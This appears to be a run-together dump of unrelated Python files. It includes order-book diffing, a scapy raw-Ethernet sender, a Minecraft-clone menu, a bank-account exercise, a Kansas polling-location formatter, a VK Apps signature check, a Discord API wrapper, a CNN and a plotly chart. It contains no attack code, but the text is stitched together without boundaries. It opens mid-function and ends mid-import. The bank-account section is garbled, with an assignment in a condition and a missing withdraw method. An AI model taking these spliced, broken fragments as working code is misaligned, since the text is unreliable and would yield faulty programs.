ten_order_book.insert(0, order_book_item) # else: # ten_order_book[price_index] = order_book_item # # # if ten_order_book[price_index].aggregate_quantity == 0: # # ten_order_book[price_index] = order_book_item # # else: # # print("error trim_server_ten_order price_index = ", price_index) # else: # ten_order_book[price_index] = order_book_item # # elif update_action == 2: # ten_order_book.pop(price_index) # self.update_server_ten_order(ten_order_book, side) # # # for it in ten_order_book: # # if it.aggregate_quantity == 0: # # it.aggregate_quantity = 0 def save_server_dict(self, file_path, stock_code): f = open(file_path + "_ask.txt", 'w') ask_items = self.trim_items(self.server_dict[stock_code]["ask"]) for item in ask_items: f.write(json.dumps(item, indent=4, default=order_book_to_dict).replace('\n', '').replace('\t', '').replace(' ', '') + "\n") f.close() f = open(file_path + "_bid.txt", 'w') bid_items = self.trim_items(self.server_dict[stock_code]["bid"]) for item in bid_items: f.write(json.dumps(item, indent=4, default=order_book_to_dict).replace('\n', '').replace('\t', '').replace(' ', '') + "\n") f.close() def trim_items(self, items): """去除掉重复元素和脏数据""" new_list = list() last = None for item in items: if self.compare_item(item, last): continue else: last = item new_list.append(item) return new_list def compare(self, source, target, source_offset=0, target_offset=0): if source_offset == 0 and target_offset == 0: self.error_times = 0 self.diff_result = list() find_start = False while target_offset < len(target) and source_offset < len(source): target_items = target[target_offset]["items"] source_items = source[source_offset]["items"] target_seq = target[target_offset]["seq"] source_seq = source[source_offset]["seq"] if not find_start: #跳开那些为0的错误地址 if target_items[0].price == 0: target_offset = target_offset + 1 continue target_time_sec_tag = target[target_offset]["time"] source_time_sec_tag = source[source_offset]["time"] if abs(target_time_sec_tag - source_time_sec_tag) < 10: if self.compare_item(target_items, source_items): print("----------start----------target_seq = {}, source_seq = {}".format(target_seq, source_seq)) find_start = True if find_start: if not self.compare_item(target_items, source_items): self.diff_result.append({"T": {"target_seq": target_seq, "items": target_items}, \ "S": {"source_seq": source_seq, "items": source_items}}) self.error_times = self.error_times + 1 #各自往前挪一个开始新的比对 self.compare(source, target, source_offset + 1, target_offset + 1) break target_offset = target_offset + 1 source_offset = source_offset + 1 return self.diff_result def compare_ask(self, stock_code): source = self.server_dict[stock_code]["ask"] target = self.opend_dict[stock_code]["ask"] return self.compare(self.trim_items(source), self.trim_items(target)) def compare_bid(self, stock_code): source = self.server_dict[stock_code]["bid"] target = self.opend_dict[stock_code]["bid"] return self.compare(self.trim_items(source), self.trim_items(target)) if __name__ =="__main__": analysis = OrderBookAnalysis() analysis.analysis_server_json("D:\\tmp\\sort_700_AggregateOrderBookUpdate.json", "HK.00700") analysis.save_server_dict("D:\\tmp\\OrderBook_Server", "HK.00700") analysis.analysis_opend_json("D:\\tmp\\Track_2018_12_13_1544666376106_OrderBookTest.log") analysis.save_opend_dict("D:\\tmp\\OrderBook_OpenD", "HK.00700") diff_result_list = analysis.compare_ask("HK.00700") with open("D:\\tmp\\diff_OrderBookAnalysis_ask.txt", 'w') as f: for item in diff_result_list: f.write(json.dumps(item, indent=4, default=order_book_to_dict).replace('\n', '').replace('\t', '').replace(' ', '') + "\n") diff_result_list = analysis.compare_bid("HK.00700") with open("D:\\tmp\\diff_OrderBookAnalysis_bid.txt", 'w') as f: for item in diff_result_list: f.write(json.dumps(item, indent=4, default=order_book_to_dict).replace('\n', '').replace('\t', '').replace(' ', '') + "\n")# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Twisted's unit tests. """ from twisted.python.deprecate import deprecatedModuleAttribute from twisted.python.versions import Version from twisted.test import proto_helpers for obj in proto_helpers.__all__: deprecatedModuleAttribute( Version("Twisted", 19, 7, 0), f"Please use twisted.internet.testing.{obj} instead.", "twisted.test.proto_helpers", obj, ) 1-10 """ sendEther.py , , This code sends raw ethernet packets to a network by using the scapy library. """ from scapy.all import sendp, Raw from scapy.layers.l2 import Ether import time import transport """ Sends a message as ethernet packet to the network interface with an ether-type '0x7000'. :param data: message as payload inside the ethernet packet :type data: str, bytes, int, ... :param interface: name of the network interface, for instance 'en0', 'en1', ... :type: str """ def send_message(data, interface): ether = Ether(type=0x7000) / Raw(load=data) sendp(ether, iface=interface) """ Creates the i_have_list and saves it as data. Sends the i_have_list as ethernet packet to the network interface with an ether-type '0x7000'. :param interface: name of the network interface, for instance 'en0', 'en1', ... :type: str """ def i_have_sender(interface): data = transport.get_i_have_list() ether = Ether(type=0x7000)/Raw(load=data) sendp(ether, iface=interface) """ Sends the created i_want_list as ethernet packet to the network interface with an ether-type '0x7000'. :param want: the i_want_list which was created :type: bytes :param interface: name of the network interface, for instance 'en0', 'en1', ... :type: str """ def i_want_sender(want, interface): ether = Ether(type=0x7000) / Raw(load=want) time.sleep(5) sendp(ether, iface=interface) """ Creates the event_list and saves it as data. Sends the event_list as ethernet packet to the network interface with an ether-type '0x7000'. :param want: the i_want_list with which the event_list gets created :type: bytes :param interface: name of the network interface, for instance 'en0', 'en1', ... :type: str """ def event_sender(want, interface): data = transport.get_event_list(want) ether = Ether(type=0x7000) / Raw(load=data) sendp(ether, iface=interface)"""mcpython - a minecraft clone written in python licenced under MIT-licence authors: uuk, xkcdjerry original game by forgleman licenced under MIT-licence minecraft by Mojang blocks based on 1.14.4.jar of minecraft, downloaded on 20th of July, 2019""" from . import State, StatePartGame from .ui import UIPartButton, UIPartLable import event.EventInfo import globals as G from pyglet.window import key import pyglet import state.StateGame import util.callbacks import mod.ModMcpython class StateEscape(State.State): @staticmethod def get_name(): return "minecraft:escape_state" def __init__(self): State.State.__init__(self) def get_parts(self) -> list: return [StatePartGame.StatePartGame(activate_keyboard=False, activate_mouse=False, activate_focused_block=False, glcolor3d=(.8, .8, .8)), UIPartLable.UIPartLable("#*menu.game*#", (0, 200), anchor_lable="MM", anchor_window="MM", color=(255, 255, 255, 255)), UIPartButton.UIPartButton((250, 25), "#*menu.returnToGame*#", (0, 150), anchor_window="MM", anchor_button="MM", on_press=event.EventInfo.CallbackHelper( G.statehandler.switch_to, ["minecraft:game"], enable_extra_args=False)), UIPartButton.UIPartButton((250, 25), "#*menu.returnToMenu*#", (0, 120), anchor_window="MM", anchor_button="MM", on_press=self.start_menu_press), UIPartButton.UIPartButton((250, 25), "#*menu.reportBugs*#", (0, 90), anchor_window="MM", anchor_button="MM", on_press=event.EventInfo.CallbackHelper( util.callbacks.open_github_project, enable_extra_args=False)), state.StateGame.game.parts[1]] def get_event_functions(self) -> list: return [(self.on_key_press, "user:keyboard:press"), (self.on_draw_2d_pre, "render:draw:2d:background")] def bind_to_eventbus(self): self.eventbus.subscribe("user:keyboard:press", self.on_key_press) self.eventbus.subscribe("render:draw:2d:background", self.on_draw_2d_pre) @staticmethod def start_menu_press(x, y): G.world.cleanup() G.statehandler.switch_to("minecraft:startmenu") @staticmethod def on_key_press(symbol, modifiers): if symbol == key.ESCAPE: G.statehandler.switch_to("minecraft:game") @staticmethod def on_draw_2d_pre(): pyglet.gl.glClearColor(0.5, 0.69, 1.0, 1) escape = None def create(): global escape escape = StateEscape() mod.ModMcpython.mcpython.eventbus.subscribe("stage:states", create) arkhn/warehouse-api import logging from fhir_api import db, settings from . import resources from .base import BaseResource logger = logging.getLogger(__name__) resources_models = {} def init(): global resources_models client = db.get_db_connection()[settings.DB_NAME] resource_list = client.list_collection_names() logger.debug("List of supported resources: %s", resource_list) for r in resource_list: if hasattr(resources, r): # if a resource has a specific implementation, use it resources_models[r] = getattr(resources, r) else: # if a resource has no specific implementation, create # a generic class inheriting from Resource. resources_models[r] = type(r, (BaseResource,), {}) class Account: def __init__(self,custn,accno,opba): self.custn=custn self.accno=accno self.opba=opba self.aopen=opba class Current(Account): def __init__(self): custname=raw_input('Enter customer name: ') accno=input('Enter customer account number: ') opba=input('Enter customer open balance: ') Account.__init__(self,custname,accno,opba) self.minba=input('Enter minimum required balance: ') def deposit(self,deposit=0): self.opba+=deposit def check(self): if self.opba=self.minba: self.opba-=withdraw print 'Withdrawn',withdraw else: print 'After withdrawal your balance is below minimum balance\ so you are imposable for penalty.' self.opba-=withdraw print 'Withdrawn',withdraw l=self.check() def display(self): print 'Here is your acount details:' print 'Customer name: ',self.custn print 'Acccount No.: ',self.accno print 'Current Balance: ',self.opba print 'Open Balance: ',self.aopen print 'Set minimum required balance: ',self.minba class Savings(Account): def __init__(self): custname=raw_input('Enter customer name: ') accno=input('Enter customer acount number: ') opba=float(input('Enter customer open balance: ')) Account.__init__(self,custname,accno,opba) self.cir=input('Enter compound interest rate: ') def deposit(self,deposit=0): self.opba+=deposit def interest(self): time=input('Enter time of interest:') self.opba=(self.opba)*((1+self.cir/100.0)**time) def withdraw(self,withdraw): if self.opba-withdraw>=0: self.opba-=withdraw print 'Withdrawn',withdraw else: print 'Withdraw not possible' def display(self): print 'Here is your acount details:' print 'Customer name: ',self.custn print 'Acccount No.: ',self.accno print 'Current Balance: ',self.opba print 'Open Balance: ',self.aopen print 'Set compound interest (annual): ',self.cir #main a=Current() a.deposit() a.check() bac=input('Enter amount to withdraw') a.withdraw(bac) a.display() b=Savings() b.deposit() b.interest() b.display() bac=input('Enter amount to withdraw') b.withdraw(bac) b.display() 100-1000 # coding=utf-8 # Copyright 2019 Google LLC. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Keras checkpointing using GFile.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import tempfile import time from absl import logging import tensorflow as tf from tensorflow import keras # Taken from: dos/ml/lstm/train_util.py, but also supports unformatted strings # and writing summary files. class GFileModelCheckpoint(keras.callbacks.ModelCheckpoint): """Keras callback to checkpoint model to a gfile location. Makes the keras ModelCheckpoint callback compatible with google filesystem paths, such as CNS files. Models will be saved to tmp_file_path and copied from there to file_path. Also writes a summary file with model performance along with the checkpoint. """ def __init__(self, file_path, save_summary, summary = None, *args, **kwargs): # pylint: disable=keyword-arg-before-vararg """Initializes checkpointer with appropriate filepaths. Args: file_path: gfile location to save model to. Supports unformatted strings similarly to keras ModelCheckpoint. save_summary: Whether we should generate and save a summary file. summary: Additional items to write to the summary file. *args: positional args passed to the underlying ModelCheckpoint. **kwargs: named args passed to the underlying ModelCheckpoint. """ self.save_summary = save_summary self.summary = summary # We assume that this directory is not used by anybody else, so we uniquify # it (a bit overkill, but hey). self.tmp_dir = os.path.join( tempfile.gettempdir(), 'tmp_keras_weights_%d_%d' % (int(time.time() * 1e6), id(self))) tf.gfile.MakeDirs(self.tmp_dir) self.tmp_path = os.path.join(self.tmp_dir, os.path.basename(file_path)) self.gfile_dir = os.path.dirname(file_path) super(GFileModelCheckpoint, self).__init__(self.tmp_path, *args, **kwargs) def on_epoch_end(self, epoch, logs = None): """At end of epoch, performs the gfile checkpointing.""" super(GFileModelCheckpoint, self).on_epoch_end(epoch, logs=None) if self.epochs_since_last_save == 0: # ModelCheckpoint just saved tmp_dir_contents = tf.gfile.ListDirectory(self.tmp_dir) for tmp_weights_filename in tmp_dir_contents: src = os.path.join(self.tmp_dir, tmp_weights_filename) dst = os.path.join(self.gfile_dir, tmp_weights_filename) logging.info('Copying saved keras model weights from %s to %s', src, dst) tf.gfile.Copy(src, dst, overwrite=True) tf.gfile.Remove(src) if self.save_summary: merged_summary = {} merged_summary.update(self.summary) if logs: merged_summary.update(logs) with tf.gfile.Open(dst.replace('.h5', '.summary.txt'), 'w') as summary_file: summary_file.write('\n'.join( ['{}: {}'.format(k, v) for k, v in merged_summary.items()])) democracyworks/hand-collection-to-vip """ polling_location columns: address_line, directions, hours, photo_uri, hours_open_id, is_drop_box, is_early_voting, latitude, longitude, latlng_source, id """ import pandas as pd import time import config import hashlib from time import strftime import csv class PollingLocationTxt(object): """ """ def __init__(self, base_df, early_voting_true='false', drop_box_true='false'): self.base_df = base_df self.drop_box_true = drop_box_true self.early_voting_true = early_voting_true # (row['index'], row['address_1'], row['address_2'], # row['city'], row['state'], row['zip']), axis = 1) def get_address_line(self, index, address_1, address_2, city, zip_code): # required: print message for exception # TODO: concatenate street, city, state and zip if address_1 and not pd.isnull(address_2): address = str(address_1) + ' ' + str(address_2) elif address_1: address = address_1 else: address = '' print 'Missing address value at row ' + index + '.' if city: city = city else: city = '' print 'Missing city value at row ' + index + '.' if zip_code: # TODO: add zip code validation #print zip_code zip_code = str(zip_code)[0:5] # print zip_code else: zip_code = '' print 'Missing zip_code value at row ' + index + '.' address_line = address.strip() + ', ' + city.strip() + ', KS ' + zip_code.strip() print address_line return address_line def get_directions(self, dirs): """#""" # no direct relationship to any column return dirs def convert_to_time(self, index, time): if not pd.isnull(time): time_str = str(int(time)) if len(time_str) == 4: hours = time_str[0:2] mins = time_str[2:] time_str = hours + ":" + mins return time_str elif len(time_str) == 3: hours = time_str[0] mins = time_str[1:] time_str = hours + ":" +mins return time_str else: # print 'Hours were not in the proper format in line ' + str(index) + '.' return '' else: return "" def convert_to_twelve_hour(self, index, time_str): if not pd.isnull(time_str): d = time.strptime(time_str, "%H:%M:%S") formatted_time = time.strftime("%I:%M %p", d) return formatted_time else: return '' def get_converted_time(self, index, time): t = time.split(" -")[0] return self.convert_to_twelve_hour(index, t) def get_hours(self, index, start_time, end_time): # create conditional when/if column is present if not pd.isnull(start_time) and not pd.isnull(end_time): start = self.get_converted_time(index, start_time) end = self.get_converted_time(index, end_time) return start + " - " + end else: # print 'Hours not presented in the right format in line ' + str(index) +"." return '' def convert_hours(self): pass def get_photo_uri(self): # create conditional when/if column is present return '' def create_hours_open_id(self, index, address_1, address_2, city, zip_code): """#""" # TODO: this is the correct id/index code, correct everywhere address_line = self.get_address_line(index, address_1, address_2, city, zip_code) # print address_line address_line = int(hashlib.sha1(address_line).hexdigest(), 16) % (10 ** 8) return 'ho' + str(address_line) def is_drop_box(self): """#""" # TODO: default to false? Make a boolean instance variable passed as a parameter return self.drop_box_true def is_early_voting(self): """#""" # TODO: default to True for now. Or Make a boolean instance variable passed as a parameter return self.early_voting_true def get_latitude(self): # create conditional when/if column is present return '' def get_longitude(self): # create conditional when/if column is present return '' def get_latlng_source(self): # create conditional when/if column is present return '' def create_id(self, index, address_1, address_2, city, zip_code): """Create id""" # concatenate county name, or part of it (first 3/4 letters) with index # add leading zeros to maintain consistent id length address_line = self.get_address_line(index, address_1, address_2, city, zip_code) id = int(hashlib.sha1(address_line).hexdigest(), 16) % (10 ** 8) id = 'poll' + str(id) return id def build_polling_location_txt(self): """ New columns that match the 'polling_location.txt' template are inserted into the DataFrame, apply() is used to run methods that generate the values for each row of the new columns. """ self.base_df['address_line'] = self.base_df.apply( lambda row: self.get_address_line(row['index'], row['address_one'], row['address_two'], row['city'], row['zip']), axis=1) self.base_df['directions'] = self.base_df.apply( lambda row: self.get_directions(row['dirs']), axis=1) # self.base_df['hours'] = self.base_df.apply( lambda row: self.get_hours(row['index'],row["start_time"], row['end_time']), axis=1) # self.base_df['photo_uri'] = self.base_df.apply( lambda row: self.get_photo_uri(), axis=1) self.base_df['hours_open_id'] = self.base_df.apply( lambda row: self.create_hours_open_id(row['index'], row['address_one'], row['address_two'], row['city'], row['zip']), axis=1) self.base_df['is_drop_box'] = self.base_df.apply( lambda row: self.is_drop_box(), axis=1) self.base_df['is_early_voting'] = self.base_df.apply( lambda row: self.is_early_voting(), axis=1) self.base_df['latitude'] = self.base_df.apply( lambda row: self.get_latitude(), axis=1) self.base_df['longitude'] = self.base_df.apply( lambda row: self.get_longitude(), axis=1) self.base_df['latlng_source'] = self.base_df.apply( lambda row: self.get_latlng_source(), axis=1) self.base_df['id'] = self.base_df.apply( lambda row: self.create_id(row['index'], row['address_one'], row['address_two'], row['city'], row['zip']), axis=1) return self.base_df def dedupe(self, dupe): """#""" return dupe.drop_duplicates(subset=['address_line']) def dedupe_for_sch(self, dupe): return dupe.drop_duplicates(subset=['address_line', 'hours', 'start_date']) # def format_for_schedule(self): # sch_base_df = self.build_polling_location_txt() # Drop base_df columns. # sch_base_df.drop(['index', 'ocd_division', 'county', 'location_name', 'address_1', 'address_2', # 'city', 'state', 'zip', 'id'], inplace=True, axis=1) # print sch_base_df # return self.dedupe(sch_base_df) def export_for_locality(self): ex_doc = self.build_polling_location_txt() #print ex_doc ex_doc = self.dedupe(ex_doc) # print ex_doc ex_doc.to_csv(config.polling_location_output + 'intermediate_pl_for_loc.csv', index=False, encoding='utf-8') def export_for_schedule(self): ex_doc = self.build_polling_location_txt() ex_doc = self.dedupe_for_sch(ex_doc) ex_doc.to_csv(config.polling_location_output + 'intermediate_pl_for_sch.csv', index=False, encoding='utf-8') def group_by_address(self, item): item = item.groupby('address_line').agg(lambda x: ' '.join(set(x))).reset_index() return item def format(self): plt = self.build_polling_location_txt() # Drop base_df columns. plt.drop(['index', 'county', 'officer', 'email', 'blank', 'phone', 'fax', 'address_one', 'address_two', 'dirs', 'city', 'state', 'zip', 'start_time', 'end_time','start_date', 'end_date', 'time_zone', 'notes'], inplace=True, axis=1) plt = self.dedupe(plt) return plt def export_for_schedule_and_locality(self): intermediate_doc = self.build_polling_location_txt() # intermediate_doc = self.dedupe(intermediate_doc) intermediate_doc = intermediate_doc.drop_duplicates(subset=['start_time', 'end_time', 'start_date', 'end_date', 'address_line']) intermediate_doc.to_csv(config.output + 'intermediate_doc.csv', index=False, encoding='utf-8') def write_polling_location_txt(self): """Drops base DataFrame columns then writes final dataframe to text or csv file""" plt = self.format() # Drop base_df columns. # plt.drop(['index', 'ocd_division', 'county', 'location_name', 'address_1', 'address_2', 'city', 'state', 'zip', # 'start_time', 'end_time', 'start_date', 'end_date', 'is_only_by_appointment', 'is_or_by_appointment', # 'appointment_phone_num', 'is_subject_to_change'], inplace=True, axis=1) # plt = self.dedupe(plt) print plt txt_file = "/Users/danielgilberg/Development/hand-collection-to-vip/kansas/output/polling_location.txt" csv_file = "/Users/danielgilberg/Development/hand-collection-to-vip/kansas/output/polling_location.csv" plt.to_csv(config.output + 'polling_location.txt', index=False, encoding='utf-8') # send to txt file plt.to_csv(config.output + 'polling_location.csv', index=False, encoding='utf-8') # send to csv file if __name__ == '__main__': early_voting_true = "true" # True or False #drop_box_true = state_file='kansas_early_voting_info.csv' early_voting_file = config.input_folder + state_file colnames = ['county', 'officer', 'email', 'blank', 'phone', 'fax', 'address_one', 'address_two', 'dirs', 'city', 'state', 'zip', 'start_time', 'end_time','start_date', 'end_date', 'time_zone', 'notes'] early_voting_df = pd.read_csv(early_voting_file, names=colnames, encoding='ISO-8859-1', skiprows=1) early_voting_df['index'] = early_voting_df.index + 1 pl = PollingLocationTxt(early_voting_df, early_voting_true) # print early_voting_df["address_1"] + early_voting_df["address_2"] pl.export_for_schedule_and_locality() pl.write_polling_location_txt() # print early_voting_df["index"] # old_file = "/Users/danielgilberg/Development/hand-collection-to-vip/kansas/data/kansas_early_voting_info.csv" # new_file = "/Users/danielgilberg/Development/hand-collection-to-vip/kansas/data/reformatted_info.csv" # # with open(old_file, 'rU') as csvfile: # reader = csv.DictReader(csvfile) # f = open(new_file, 'wb') # writer = csv.writer(f) # cols = ["County", "Officer", "Email", "Phone", "Address1", "Address2", "City", "State", "Zip", "Hours", "Start", "End"] # writer.writerow(cols) # for row in reader: # arr1 = [row["COUNTY"], row["OFFICER"], row["EMAIL"], "10/24"] # arr2 = [row["CITY"], row["STATE"], "10/31"] # writer.writerow(arr1) # writer.writerow(arr2)perspective_transform.py import numpy as np import cv2 def perspectiveTransform(img, reverse = False): img_size = (img.shape[1], img.shape[0]) leftupperpoint = [220,720] leftlowerpoint = [1110,720] rightupperpoint = [570,470] rightlowerpoint = [722,470] src = np.float32([leftupperpoint, leftlowerpoint, rightupperpoint, rightlowerpoint]) dst = np.float32([[200,720], [1000,720], [200,1], [1000, 1]]) # Given src and dst points, calculate the perspective transform matrix if reverse: M = cv2.getPerspectiveTransform(dst, src) else: M = cv2.getPerspectiveTransform(src, dst) # Warp the image using OpenCV warpPerspective() normal = cv2.warpPerspective(img, M, img_size, flags=cv2.INTER_NEAREST) return normal0 """Poor man's version Six""" import sys PY_VERSION = sys.version_info[0] def to_unicode(s): """Convert str s to unicode :param str s: string :return: "unicode" version of s (unicode in py2, str in py3) """ if PY_VERSION == 2: s = unicode(s) return s def to_bytes(s, encoding="utf8"): """Converts str s to bytes""" if PY_VERSION == 2: b = bytes(s) elif PY_VERSION == 3: b = bytes(s, encoding) else: raise ValueError("Is Python 4 out already?") return b ProgrammingLanguageLeader/TutorsApp1-10 from collections import OrderedDict import base64 import hashlib import hmac import urllib from django.conf import settings from rest_framework import authentication from vk_apps_users.models import VkAppsUser class VkAppsAuthBackend(authentication.BaseAuthentication): def authenticate(self, request): if not self.check_vk_apps_authentication(request): return None if request.method == 'GET': vk_id = request.query_params.get('vk_user_id') else: vk_id = request.data.get('vk_user_id') user = self.get_user(vk_id) if not user: return None return user, None @staticmethod def check_vk_apps_authentication(request): vk_app_secret = settings.VK_APP_SECRET sorted_vk_execution_params = OrderedDict() sign = None request_params = request.query_params \ if request.method == 'GET' \ else request.data for key, value in request_params.items(): if key == 'sign': sign = value elif key.startswith('vk_'): sorted_vk_execution_params[key] = value if not sign: return False execution_url_params_string = urllib.parse.urlencode( sorted_vk_execution_params ) digest = hmac.new( key=bytes(vk_app_secret, encoding='utf-8'), msg=bytes(execution_url_params_string, encoding='utf-8'), digestmod=hashlib.sha256 ).digest() real_signature = base64.urlsafe_b64encode(digest) \ .decode('utf-8') \ .rstrip('=') if real_signature != sign: return False return True @staticmethod def get_user(vk_id): try: user = VkAppsUser.objects.get(vk_id=vk_id).user except VkAppsUser.DoesNotExist: return None return user # autocord # package for simple automation with discord client # # m: user import requests from .Error import ApiError class User(): def __init__(self, token: str, http: requests.Session) -> None: self.token = token self.http = http def fetch(self, user: int): res = self.http.request( method="get", url=f"https://discord.com/api/v9/users/{user}", ) if not res.ok: raise ApiError(res.json()) return res.json() def profile(self, user: int, guild = 0): params = {} if guild: params["guild_id"] = guild res = self.http.request( method="get", url=f"https://discord.com/api/v9/users/{user}/profile", params=params ) if not res.ok: raise ApiError(res.json()) return res.json() #!/usr/bin/python from macaroon.playback import * import utils sequence = MacroSequence() sequence.append(utils.StartRecordingAction()) sequence.append(WaitForWindowActivate("PrintPreviewControl control",None)) sequence.append(utils.AssertPresentationAction( "button focus", ["BRAILLE LINE: 'PrintPreviewControl control Frame'", " VISIBLE: 'PrintPreviewControl control Fram', cursor=1", "BRAILLE LINE: 'Button Button'", " VISIBLE: 'Button Button', cursor=1", "SPEECH OUTPUT: 'PrintPreviewControl control frame'", "SPEECH OUTPUT: ''", "SPEECH OUTPUT: 'Button button'"])) sequence.append(utils.AssertionSummaryAction()) sequence.start() from DeNN.base import BaseModel import torch.nn as nn import torch.nn.functional as F class Adv_conv(BaseModel): def __init__(self): DROPOUT_VALUE = 0.2 super(Adv_conv, self).__init__() self.conv1 = nn.Sequential( nn.Conv2d(3, 32, 3,padding = 1), nn.ReLU(), nn.BatchNorm2d(32), nn.Dropout(DROPOUT_VALUE), nn.Conv2d(32, 32, 3,padding = 1), nn.ReLU(), nn.BatchNorm2d(32), nn.Dropout(DROPOUT_VALUE), nn.Conv2d(32, 32, 3,padding = 1), nn.ReLU(), nn.BatchNorm2d(32), nn.Dropout(DROPOUT_VALUE), ) self.trans1 = nn.Sequential( nn.Conv2d(32, 16, 1,padding = 1), # RF 14x14 nn.MaxPool2d(2, 2), # 14 ) self.conv2 = nn.Sequential( # RF 3x3 nn.Conv2d(16, 64, 3,padding = 1), #32 nn.ReLU(), nn.BatchNorm2d(64), nn.Dropout(DROPOUT_VALUE), # RF 5x5 nn.Conv2d(64, 64, 3,padding = 1), #30 nn.ReLU(), nn.BatchNorm2d(64), nn.Dropout(DROPOUT_VALUE), # RF 7x7 nn.Conv2d(64, 64, 3,padding = 1), # 28 nn.ReLU(), nn.BatchNorm2d(64), nn.Dropout(DROPOUT_VALUE), ) self.trans2 = nn.Sequential( # RF 7x7 nn.Conv2d(64, 32, 1,padding = 1), # 28 # RF 14x14 nn.MaxPool2d(2, 2), # 14 ) self.conv3 = nn.Sequential( # RF 3x3 # Depthwise Seperable Convolution nn.Conv2d(32, 32, kernel_size = 3,padding=1, groups=32), #32 nn.Conv2d(32, 128, kernel_size=1), nn.ReLU(), nn.BatchNorm2d(128), nn.Dropout(DROPOUT_VALUE), # RF 5x5 nn.Conv2d(128, 128, 3,dilation = 2,padding = 2), #30 nn.ReLU(), nn.BatchNorm2d(128), nn.Dropout(DROPOUT_VALUE), # RF 7x7 nn.Conv2d(128, 128, 3,padding=1), # 28 nn.ReLU(), nn.BatchNorm2d(128), nn.Dropout(DROPOUT_VALUE), ) self.trans3 = nn.Sequential( # RF 7x7 nn.Conv2d(128, 64, 1,padding = 1), # 28 # RF 14x14 nn.MaxPool2d(2, 2), # 14 ) self.conv4 = nn.Sequential( # RF 3x3 nn.Conv2d(64, 256, 3,padding = 1), #32 nn.ReLU(), nn.BatchNorm2d(256), nn.Dropout(DROPOUT_VALUE), # # RF 5x5 # nn.Conv2d(256, 256, 3,padding = 1), #30 # nn.ReLU(), # nn.BatchNorm2d(256), # nn.Dropout(DROPOUT_VALUE), # # RF 7x7 # nn.Conv2d(256, 256, 3,padding = 1), # 28 # nn.ReLU(), # nn.BatchNorm2d(256), # nn.Dropout(DROPOUT_VALUE), ) self.gap = nn.Sequential( nn.AvgPool2d(5,5), # RF 18x18 nn.Conv2d(256, 10, 1), ) def forward(self, x): # x = self.pool(F.relu(self.conv1(x))) # x = self.pool(F.relu(self.conv2(x))) # x = x.view(-1, 16 * 5 * 5) # x = F.relu(self.fc1(x)) # x = F.relu(self.fc2(x)) # x = self.fc3(x) x = self.conv1(x) x = self.trans1(x) x = self.conv2(x) x = self.trans2(x) x = self.conv3(x) x = self.trans3(x) x = self.conv4(x) x = self.gap(x) x = x.view(-1, 10) return F.log_softmax(x)import plotly.graph_objs as go import pandas as pd import colorlover as cl class Polar(object): def __init__(self, df_events): self.df_events = df_events def year_polar(self): date_julian = list(map(int, pd.DatetimeIndex(self.df_events.index.values).strftime("%j"))) date_julian_polar = [(i/366)*360 for i in date_julian] df_events_julian = self.df_events.copy() df_events_julian['DateJulian'] = date_julian df_events_julian['DateJulianPolar'] = date_julian_polar return df_events_julian def plot(self, width: int = None, height: int = None, size_text: int = None, title=None, color=None, name=None, showlegend: bool = False, language: str = 'pt', with_duration: bool = False): list_month_pt = ["Jan", "Fev", "Mar", "Abr", "Mai", "Jun", "Jul", "Ago", "Set", "Out", "Nov", "Dez"] list_month_en = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"] dic_month = {'pt': list_month_pt, 'en': list_month_en} df_polar = self.year_polar() df_polar_year = df_polar.index.year.drop_duplicates() number_of_lines = len(df_polar_year) ylrd = cl.scales['9']['div']['Spectral'][::-1] ylrd = cl.interp(ylrd, number_of_lines) colors = dict(zip(df_polar_year, ylrd)) if color == 'by_year': list_color = [colors[i] for i in df_polar.index.year] else: list_color = color if with_duration: size = df_polar.Duration.values else: size = 10 position = [0, 31*0.9863, 59*0.9863, 90*0.9863, 120*0.9863, 151*0.9863, 181*0.9863, 212*0.9863, 243*0.9863, 273*0.9863, 303*0.9863, 334*0.9863] if len(df_polar) > 0: try: trace = go.Scatterpolar( r=df_polar.Peaks.values, # Vazao theta=df_polar.DateJulianPolar.values, # Data mode='markers', marker=dict( color=list_color, size=size, line=dict( color='white' ), opacity=0.7), text=df_polar.index.date, thetaunit='degrees', name=name ) except AttributeError: trace = go.Scatterpolar( r=df_polar.Peaks.values, # Vazao theta=df_polar.DateJulianPolar.values, # Data mode='markers', marker=dict( color=list_color, size=10, line=dict( color='white' ), opacity=0.7), thetaunit='degrees', name=name ) data = [trace] else: trace = go.Scatterpolar( r=None, # Vazao theta=None, # Data mode='markers', marker=dict( color=list_color, size=10, line=dict( color='white' ), opacity=0.7), thetaunit='degrees', name=name ) data = [trace] colorbar_trace = go.Scatter( x=[None], y=[None], mode='markers', marker=dict( colorscale=ylrd, showscale=True, colorbar=dict(title=''), cmin=df_polar_year[0], cmax=df_polar_year[-1], ), hoverinfo='none', ) if color == 'by_year': data = data + [colorbar_trace] angularX = go.layout.AngularAxis( showticklabels=False, ) layout = dict( angularaxis=angularX, title=dict(text=title, x=0.5, xanchor='center', y=0.95, yanchor='top', font=dict(family='Courier New, monospace', color='rgb(0,0,0)', size=size_text + 6)), width=width, height=height, font=dict(family='Courier New, monospace', size=size_text, color='rgb(0,0,0)'), showlegend=showlegend, plot_bgcolor='#FFFFFF', paper_bgcolor='#FFFFFF', polar=dict( radialaxis=dict(showticklabels=True, gridcolor="#000000"), angularaxis=dict(showticklabels=True, ticks='', tickvals=position, ticktext=dic_month[language], rotation=90, direction="clockwise", gridcolor="#000000", tickcolor="#000000"), bgcolor='#FFFFFF', ) ) fig = dict(data=data, layout=layout) return fig, data gaogaotiantian/progshotbenchmark/benchmark_cases/case_simple.py # Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 # For details: https://github.com/gaogaotiantian/progshot/blob/master/NOTICE.txt from progshot import capture, dump def func_f(i): a = 3 b = {"c": 5} capture(outer=1) return a + b["c"] def func_f_baseline(i): a = 3 b = {"c": 5} return a + b["c"] def do_baseline(): for i in range(10): func_f_baseline(i) def do_experiment(): for i in range(10): func_f(i) def do_dump(): films = dump() return films from pywren_ibm_cloud.runtime.utils import create_runtime from pywren_ibm_cloud.runtime.utils import build_runtime from pywren_ibm_cloud.runtime.utils import update_runtime from pywren_ibm_cloud.runtime.utils import delete_runtime from 